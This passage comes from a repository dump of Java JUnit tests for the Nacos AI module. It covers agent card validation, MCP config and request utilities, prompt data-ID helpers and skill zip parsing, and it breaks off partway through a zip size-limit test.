{\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setVersion(null);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.version` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithMissingProtocolVersion() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setProtocolVersion(null);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.protocolVersion` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithMissingPreferredTransport() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setPreferredTransport(null);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.preferredTransport` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithMissingUrl() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setUrl(null);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.url` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithNullDescriptionShouldSetEmptyString() throws NacosApiException {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setDescription(null);\n        \n        // When\n        AgentRequestUtil.validateAgentCard(agentCard);\n        \n        // Then\n        assertEquals(\"\", agentCard.getDescription());\n    }\n    \n    @Test\n    void testValidateAgentCardWithNullCapabilitiesShouldSetDefault() throws NacosApiException {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setCapabilities(null);\n        \n        // When\n        AgentRequestUtil.validateAgentCard(agentCard);\n        \n        // Then\n        assertNotNull(agentCard.getCapabilities());\n    }\n    \n    @Test\n    void testValidateAgentCardWithNullDefaultInputModesShouldSetEmptyList() throws NacosApiException {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setDefaultInputModes(null);\n        \n        // When\n        AgentRequestUtil.validateAgentCard(agentCard);\n        \n        // Then\n        assertNotNull(agentCard.getDefaultInputModes());\n        assertEquals(0, agentCard.getDefaultInputModes().size());\n    }\n    \n    @Test\n    void testValidateAgentCardWithNullDefaultOutputModesShouldSetEmptyList() throws NacosApiException {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setDefaultOutputModes(null);\n        \n        // When\n        AgentRequestUtil.validateAgentCard(agentCard);\n        \n        // Then\n        assertNotNull(agentCard.getDefaultOutputModes());\n        assertEquals(0, agentCard.getDefaultOutputModes().size());\n    }\n    \n    @Test\n    void testValidateAgentCardWithNullSkillsShouldSetEmptyList() throws NacosApiException {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setSkills(null);\n        \n        // When\n        AgentRequestUtil.validateAgentCard(agentCard);\n        \n        // Then\n        assertNotNull(agentCard.getSkills());\n        assertEquals(0, agentCard.getSkills().size());\n    }\n    \n    @Test\n    void testFillNamespaceIdWithEmptyNamespaceId() {\n        // Given\n        AbstractAgentRequest request = new AbstractAgentRequest() {\n        };\n        request.setNamespaceId(\"\");\n        \n        // When\n        AgentRequestUtil.fillNamespaceId(request);\n        \n        // Then\n        assertEquals(AiConstants.A2a.A2A_DEFAULT_NAMESPACE, request.getNamespaceId());\n    }\n    \n    @Test\n    void testFillNamespaceIdWithNullNamespaceId() {\n        // Given\n        AbstractAgentRequest request = new AbstractAgentRequest() {\n        };\n        \n        // When\n        AgentRequestUtil.fillNamespaceId(request);\n        \n        // Then\n        assertEquals(AiConstants.A2a.A2A_DEFAULT_NAMESPACE, request.getNamespaceId());\n    }\n    \n    @Test\n    void testFillNamespaceIdWithValidNamespaceId() {\n        // Given\n        String customNamespaceId = \"custom-namespace\";\n        AbstractAgentRequest request = new AbstractAgentRequest() {\n        };\n        request.setNamespaceId(customNamespaceId);\n        \n        // When\n        AgentRequestUtil.fillNamespaceId(request);\n        \n        // Then\n        assertEquals(customNamespaceId, request.getNamespaceId());\n    }\n    \n    private AgentCard createValidAgentCard() {\n        AgentCard agentCard = new AgentCard();\n        agentCard.setProtocolVersion(\"1.0\");\n        agentCard.setName(\"test-agent\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setUrl(\"http://example.com/agent\");\n        agentCard.setDescription(\"Test Agent\");\n        agentCard.setCapabilities(new AgentCapabilities());\n        agentCard.setDefaultInputModes(Collections.emptyList());\n        agentCard.setDefaultOutputModes(Collections.emptyList());\n        agentCard.setSkills(Collections.emptyList());\n        return agentCard;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/McpConfigUtilsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpConfigUtilsTest {\n    \n    private static final String TEST_SERVER_ID = \"test-server-id\";\n    \n    private static final String TEST_VERSION = \"v1.0.0\";\n    \n    private static final String TEST_SERVER_NAME = \"my-mcp-server\";\n    \n    @Test\n    void testFormatServerVersionInfoDataId() {\n        String result = McpConfigUtils.formatServerVersionInfoDataId(TEST_SERVER_ID);\n        assertEquals(\"%s-mcp-versions.json\", Constants.SERVER_VERSION_CONFIG_DATA_ID_TEMPLATE);\n        assertEquals(\"test-server-id-mcp-versions.json\", result);\n    }\n    \n    @Test\n    void testFormatServerSpecInfoDataId() {\n        String result = McpConfigUtils.formatServerSpecInfoDataId(TEST_SERVER_ID, TEST_VERSION);\n        assertEquals(\"%s-%s-mcp-server.json\", Constants.SERVER_SPECIFICATION_CONFIG_DATA_ID_TEMPLATE);\n        assertEquals(\"test-server-id-v1.0.0-mcp-server.json\", result);\n    }\n    \n    @Test\n    void testFormatServerToolSpecDataId() {\n        String result = McpConfigUtils.formatServerToolSpecDataId(TEST_SERVER_ID, TEST_VERSION);\n        assertEquals(\"%s-%s-mcp-tools.json\", Constants.SERVER_TOOLS_SPEC_CONFIG_DATA_ID_TEMPLATE);\n        assertEquals(\"test-server-id-v1.0.0-mcp-tools.json\", result);\n    }\n    \n    @Test\n    void testFormatServerNameTagBlurSearchValue() {\n        String result = McpConfigUtils.formatServerNameTagBlurSearchValue(TEST_SERVER_NAME);\n        assertEquals(\"mcpServerName=*my-mcp-server*\", result);\n    }\n    \n    @Test\n    void testFormatServerNameTagAccurateSearchValue() {\n        String result = McpConfigUtils.formatServerNameTagAccurateSearchValue(TEST_SERVER_NAME);\n        assertEquals(\"mcpServerName=my-mcp-server\", result);\n    }\n    \n    @Test\n    void testIsConfigFoundPositive() {\n        assertTrue(McpConfigUtils.isConfigFound(\n                ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL));\n    }\n    \n    @Test\n    void testIsConfigFoundNegative() {\n        assertFalse(McpConfigUtils.isConfigFound(\n                ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND));\n    }\n    \n    @Test\n    void testIsConfigNotFoundPositive() {\n        assertTrue(McpConfigUtils.isConfigNotFound(\n                ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND));\n    }\n    \n    @Test\n    void testIsConfigNotFoundNegative() {\n        assertFalse(McpConfigUtils.isConfigNotFound(\n                ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL));\n    }\n    \n    @Test\n    void testBuildMcpServerVersionConfigTagsWithValidName() {\n        String result = McpConfigUtils.buildMcpServerVersionConfigTags(TEST_SERVER_NAME);\n        assertEquals(\"nacos.internal.config=mcp,mcpServerName=my-mcp-server\", result);\n    }\n    \n    @Test\n    void testBuildMcpServerVersionConfigTagsWithEmptyName() {\n        String result = McpConfigUtils.buildMcpServerVersionConfigTags(\"\");\n        assertEquals(\"nacos.internal.config=mcp,mcpServerName=\", result);\n    }\n    \n    @Test\n    void testBuildMcpServerVersionConfigTagsWithNullName() {\n        String result = McpConfigUtils.buildMcpServerVersionConfigTags(null);\n        assertEquals(\"nacos.internal.config=mcp,mcpServerName=null\", result);\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/McpRequestUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.form.mcp.admin.McpDetailForm;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpRequestUtilTest {\n    \n    private static final String MCP_SERVER_SPEC_OLD = \"{\\\"protocol\\\":\\\"stdio\\\",\\\"name\\\":\\\"nacos-mcp-server\\\",\"\n            + \"\\\"description\\\":\\\"nacos local mcp server(test version)\\\",\\\"version\\\":\\\"0.1.0\\\",\\\"enabled\\\":true,\\\"localServerConfig\\\":{}}\";\n    \n    private static final String MCP_SERVER_SPEC_NEW =\n            \"{\\\"protocol\\\":\\\"stdio\\\",\\\"frontProtocol\\\":\\\"stdio\\\",\\\"name\\\":\\\"nacos-mcp-server\\\",\"\n                    + \"\\\"id\\\":\\\"\\\",\\\"description\\\":\\\"nacos local mcp server(test version)\\\",\\\"versionDetail\\\":{\\\"version\\\":\\\"1.0.0\\\"},\"\n                    + \"\\\"enabled\\\":true,\\\"localServerConfig\\\":{}}'\";\n    \n    private static final String MCP_TOOL_SPEC =\n            \"{\\\"tools\\\":[{\\\"name\\\":\\\"list_namespace\\\",\\\"description\\\":\\\"list namespace in nacos\\\",\"\n                + \"\\\"inputSchema\\\":{\\\"type\\\":\\\"object\\\",\\\"properties\\\":{\\\"a\\\":{\\\"type\\\":\\\"string\\\",\\\"description\\\":\\\"aaa\\\"}}},\"\n                + \"\\\"outputSchema\\\":{\\\"type\\\":\\\"object\\\",\\\"properties\\\":{\\\"result\\\":{\\\"type\\\":\\\"string\\\"}}}}],\"\n                    + \"\\\"toolsMeta\\\":{\\\"list_namespace\\\":{\\\"invokeContext\\\":{\\\"path\\\":\\\"/xxx\\\",\\\"method\\\":\\\"GET\\\"},\\\"enabled\\\":true,\"\n                    + \"\\\"templates\\\":{\\\"json-go-tamplate\\\":{\\\"templateType\\\":\\\"string\\\",\\\"requestTemplate\\\":{\\\"url\\\":\\\"\\\",\\\"method\\\":\\\"GET\\\",\"\n                    + \"\\\"headers\\\":[],\\\"argsToJsonBody\\\":false,\\\"argsToUrlParam\\\":true,\\\"argsToFormBody\\\":true,\\\"body\\\":\\\"string\\\"},\"\n                    + \"\\\"responseTemplate\\\":{\\\"body\\\":\\\"string\\\"}}}}}}\";\n    \n    private static final String MCP_ENDPOINT_SPEC = \"{\\\"type\\\":\\\"DIRECT\\\",\\\"data\\\":{\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":8848}}\";\n    \n    @Test\n    void parseMcpServerBasicInfoWithOldData() throws NacosApiException {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setServerSpecification(MCP_SERVER_SPEC_OLD);\n        McpServerBasicInfo actual = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, actual.getProtocol());\n        assertEquals(\"nacos-mcp-server\", actual.getName());\n        assertEquals(\"nacos local mcp server(test version)\", actual.getDescription());\n        assertEquals(\"0.1.0\", actual.getVersion());\n        assertNull(actual.getVersionDetail());\n        assertTrue(actual.isEnabled());\n        assertTrue(actual.getLocalServerConfig().isEmpty());\n    }\n    \n    @Test\n    void parseMcpServerBasicInfoWithNewData() throws NacosApiException {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setServerSpecification(MCP_SERVER_SPEC_NEW);\n        McpServerBasicInfo actual = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, actual.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, actual.getFrontProtocol());\n        assertEquals(\"nacos-mcp-server\", actual.getName());\n        assertEquals(\"nacos local mcp server(test version)\", actual.getDescription());\n        assertNull(actual.getVersion());\n        assertEquals(\"1.0.0\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.isEnabled());\n        assertTrue(actual.getLocalServerConfig().isEmpty());\n    }\n    \n    @Test\n    void parseMcpServerBasicInfoWithNewDataNoName() throws NacosApiException {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setServerSpecification(MCP_SERVER_SPEC_NEW.replace(\"nacos-mcp-server\", \"\"));\n        mcpForm.setMcpName(\"nacos-mcp-server\");\n        McpServerBasicInfo actual = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, actual.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, actual.getFrontProtocol());\n        assertEquals(\"nacos-mcp-server\", actual.getName());\n        assertEquals(\"nacos local mcp server(test version)\", actual.getDescription());\n        assertNull(actual.getVersion());\n        assertEquals(\"1.0.0\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.isEnabled());\n        assertTrue(actual.getLocalServerConfig().isEmpty());\n    }\n    \n    @Test\n    void parseMcpServerBasicInfoWithWrongData() {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setServerSpecification(\"{\");\n        assertThrows(NacosApiException.class, () -> McpRequestUtil.parseMcpServerBasicInfo(mcpForm),\n                \"serverSpecification or toolSpecification is invalid. Can't be parsed.\");\n    }\n    \n    @Test\n    void parseMcpToolsWithoutToolSpec() throws NacosApiException {\n        McpDetailForm mcpForm = new McpDetailForm();\n        assertNull(McpRequestUtil.parseMcpTools(mcpForm));\n    }\n    \n    @Test\n    void parseMcpToolsWithWrongData() {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setToolSpecification(\"{\");\n        assertThrows(NacosApiException.class, () -> McpRequestUtil.parseMcpTools(mcpForm),\n                \"serverSpecification or toolSpecification is invalid. Can't be parsed.\");\n    }\n    \n    @Test\n    void parseMcpToolsSuccess() throws NacosApiException {\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setToolSpecification(MCP_TOOL_SPEC);\n        McpToolSpecification actual = McpRequestUtil.parseMcpTools(mcpForm);\n        assertEquals(1, actual.getTools().size());\n        assertEquals(\"list_namespace\", actual.getTools().get(0).getName());\n        assertEquals(\"list namespace in nacos\", actual.getTools().get(0).getDescription());\n        assertEquals(2, actual.getTools().get(0).getInputSchema().size());\n        assertNotNull(actual.getTools().get(0).getOutputSchema());\n        assertEquals(\"object\", actual.getTools().get(0).getOutputSchema().get(\"type\"));\n        assertEquals(1, actual.getToolsMeta().size());\n        assertNotNull(actual.getToolsMeta().get(\"list_namespace\"));\n        assertNotNull(actual.getToolsMeta().get(\"list_namespace\").getInvokeContext());\n        assertTrue(actual.getToolsMeta().get(\"list_namespace\").isEnabled());\n        assertNotNull(actual.getToolsMeta().get(\"list_namespace\").getTemplates());\n    }\n    \n    @Test\n    void parseMcpEndpointSpecForStdioType() throws NacosApiException {\n        McpServerBasicInfo mcpServerBasicInfo = new McpServerBasicInfo();\n        mcpServerBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setEndpointSpecification(MCP_ENDPOINT_SPEC);\n        assertNull(McpRequestUtil.parseMcpEndpointSpec(mcpServerBasicInfo, mcpForm));\n    }\n    \n    @Test\n    void parseMcpEndpointSpecWithoutSpec() {\n        McpServerBasicInfo mcpServerBasicInfo = new McpServerBasicInfo();\n        mcpServerBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        assertThrows(NacosApiException.class,\n                () -> McpRequestUtil.parseMcpEndpointSpec(mcpServerBasicInfo, new McpDetailForm()),\n                \"request parameter `endpointSpecification` is required if mcp server type not `local`.\");\n    }\n    \n    @Test\n    void parseMcpEndpointSpecSuccess() throws NacosApiException {\n        McpServerBasicInfo mcpServerBasicInfo = new McpServerBasicInfo();\n        mcpServerBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        McpDetailForm mcpForm = new McpDetailForm();\n        mcpForm.setEndpointSpecification(MCP_ENDPOINT_SPEC);\n        McpEndpointSpec actual = McpRequestUtil.parseMcpEndpointSpec(mcpServerBasicInfo, mcpForm);\n        assertEquals(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT, actual.getType());\n        assertEquals(2, actual.getData().size());\n        assertEquals(\"127.0.0.1\", actual.getData().get(\"address\"));\n        assertEquals(\"8848\", actual.getData().get(\"port\"));\n    }\n    \n    @Test\n    void transferToMcpServiceRefForMcpServiceRef() {\n        McpServiceRef mcpServiceRef = new McpServiceRef();\n        McpServiceRef actual = McpRequestUtil.transferToMcpServiceRef(mcpServiceRef);\n        assertEquals(mcpServiceRef, actual);\n    }\n    \n    @Test\n    void transferToMcpServiceRefForMap() {\n        Map<String, String> input = new HashMap<>();\n        input.put(\"namespaceId\", \"test\");\n        input.put(\"groupName\", \"testGroup\");\n        input.put(\"serviceName\", \"testService\");\n        McpServiceRef actual = McpRequestUtil.transferToMcpServiceRef(input);\n        assertEquals(\"test\", actual.getNamespaceId());\n        assertEquals(\"testGroup\", actual.getGroupName());\n        assertEquals(\"testService\", actual.getServiceName());\n    }\n    \n    @Test\n    void transferToMcpServiceRefForOther() {\n        assertThrows(IllegalArgumentException.class, () -> McpRequestUtil.transferToMcpServiceRef(new Object()));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/McpRequestUtilsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass McpRequestUtilsTest {\n    \n    @Test\n    void fillNamespaceId() {\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        McpRequestUtil.fillNamespaceId(request);\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, request.getNamespaceId());\n        request.setNamespaceId(\"test\");\n        McpRequestUtil.fillNamespaceId(request);\n        assertEquals(\"test\", request.getNamespaceId());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/PromptDataIdUtilsTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PromptDataIdUtilsTest {\n    \n    @Test\n    void buildDataIdsShouldReturnExpectedFormat() {\n        assertEquals(\"p1.descriptor.json\", PromptDataIdUtils.buildMetaDataId(\"p1\"));\n        assertEquals(\"p1.descriptor.json\", PromptDataIdUtils.buildDescriptorDataId(\"p1\"));\n        assertEquals(\"p1.label-version-mapping.json\", PromptDataIdUtils.buildLabelVersionMappingDataId(\"p1\"));\n        assertEquals(\"p1.json\", PromptDataIdUtils.buildLatestDataId(\"p1\"));\n        assertEquals(\"p1.1.0.0.json\", PromptDataIdUtils.buildVersionDataId(\"p1\", \"1.0.0\"));\n    }\n    \n    @Test\n    void isMetaDataIdShouldMatchOnlyMetaSuffix() {\n        assertTrue(PromptDataIdUtils.isMetaDataId(\"p1.descriptor.json\"));\n        assertTrue(PromptDataIdUtils.isDescriptorDataId(\"p1.descriptor.json\"));\n        assertTrue(PromptDataIdUtils.isLabelVersionMappingDataId(\"p1.label-version-mapping.json\"));\n        assertFalse(PromptDataIdUtils.isMetaDataId(\"p1.json\"));\n        assertFalse(PromptDataIdUtils.isMetaDataId(\"\"));\n    }\n    \n    @Test\n    void extractPromptKeyFromMetaDataIdShouldReturnNullForInvalid() {\n        assertEquals(\"p1\", PromptDataIdUtils.extractPromptKeyFromMetaDataId(\"p1.descriptor.json\"));\n        assertEquals(\"p1\",\n                PromptDataIdUtils.extractPromptKeyFromLabelVersionMappingDataId(\"p1.label-version-mapping.json\"));\n        assertNull(PromptDataIdUtils.extractPromptKeyFromMetaDataId(\"p1.json\"));\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/SkillZipParserTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.ai.model.skills.SkillUtils;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.util.Base64;\nimport java.util.Map;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Test for SkillZipParser.\n *\n * @author nacos\n */\nclass SkillZipParserTest {\n    \n    @Test\n    void testParseSkillFromZipWithValidSkillMd() throws Exception {\n        // Given\n        byte[] zipBytes = createValidSkillZip();\n        \n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n        \n        // Then\n        assertNotNull(skill);\n        assertEquals(\"test-skill\", skill.getName());\n        assertEquals(\"Test skill description\", skill.getDescription());\n        assertEquals(\"This is a test instruction\", skill.getInstruction().trim());\n        assertEquals(\"test-namespace\", skill.getNamespaceId());\n    }\n    \n    @Test\n    void testParseSkillFromZipWithSkillMdInSubdir() throws Exception {\n        // Given\n        byte[] zipBytes = createSkillZipWithSubdir();\n        \n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n        \n        // Then\n        assertNotNull(skill);\n        assertEquals(\"test-skill\", skill.getName());\n        assertEquals(\"Test skill description\", skill.getDescription());\n    }\n    \n    @Test\n    void testParseSkillFromZipWithResources() throws Exception {\n        // Given\n        byte[] zipBytes = createSkillZipWithResources();\n        \n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n        \n        // Then\n        assertNotNull(skill);\n        assertNotNull(skill.getResource());\n        assertTrue(skill.getResource().size() > 0);\n    }\n\n    @Test\n    void testParseSkillFromZipWithEscapedYamlValues() throws Exception {\n        // Given\n        byte[] zipBytes = createZipWithEscapedYamlValues();\n\n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n\n        // Then\n        assertNotNull(skill);\n        assertEquals(\"test\\\\skill\\\"name\", skill.getName());\n        assertEquals(\"desc\\\\folder\\\"quoted\", skill.getDescription());\n    }\n    \n    @Test\n    void testParseSkillFromZipWithoutSkillMd() throws IOException {\n        // Given\n        byte[] zipBytes = createZipWithoutSkillMd();\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\"));\n        assertTrue(exception.getMessage().contains(\"SKILL.md file not found\"));\n    }\n    \n    @Test\n    void testParseSkillFromZipWithInvalidYaml() throws IOException {\n        // Given\n        byte[] zipBytes = createZipWithInvalidYaml();\n        \n        // When & Then\n        assertThrows(NacosApiException.class,\n                () -> SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\"));\n    }\n    \n    @Test\n    void testParseSkillFromZipWithMissingName() throws IOException {\n        // Given\n        byte[] zipBytes = createZipWithMissingName();\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\"));\n        assertTrue(exception.getMessage().contains(\"name\"));\n    }\n    \n    @Test\n    void testParseSkillFromZipWithMissingDescription() throws IOException {\n        // Given\n        byte[] zipBytes = createZipWithMissingDescription();\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\"));\n        assertTrue(exception.getMessage().contains(\"description\"));\n    }\n    \n    @Test\n    void testParseSkillFromZipWithInstructionsHeader() throws Exception {\n        // Given\n        byte[] zipBytes = createZipWithInstructionsHeader();\n        \n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n        \n        // Then\n        assertNotNull(skill);\n        assertTrue(skill.getInstruction().contains(\"instruction content\"));\n    }\n\n    @Test\n    void testParseSkillFromZipWithBinaryResource() throws Exception {\n        // Given: zip with a .ttf (binary) and SKILL.md\n        byte[] zipBytes = createSkillZipWithBinaryResource();\n        \n        // When\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, \"test-namespace\");\n        \n        // Then: binary resource is Base64-encoded and has metadata encoding=base64 (key = generateResourceId(\"canvas-fonts\", \"font.ttf\"))\n        String fontKey = SkillUtils.generateResourceId(\"canvas-fonts\", \"font.ttf\");\n        assertNotNull(skill);\n        assertNotNull(skill.getResource());\n        assertTrue(skill.getResource().containsKey(fontKey));\n        SkillResource font = skill.getResource().get(fontKey);\n        assertEquals(\"font.ttf\", font.getName());\n        assertNotNull(font.getContent());\n        assertTrue(font.getContent().length() > 0);\n        byte[] decoded = Base64.getDecoder().decode(font.getContent());\n        assertNotNull(decoded);\n        assertEquals(4, decoded.length);\n        assertEquals(0, decoded[0]);\n        assertEquals(1, decoded[1]);\n        Map<String, Object> meta = font.getMetadata();\n        assertNotNull(meta);\n        assertEquals(\"base64\", meta.get(\"encoding\"));\n    }\n\n    @Test\n    void testParseSkillFromZipExceedsSizeLimit() throws IOException {\n        // Given: zip larger than MAX_UPLOAD_ZIP_BYTES (10MB)\n        int overSize = (int) 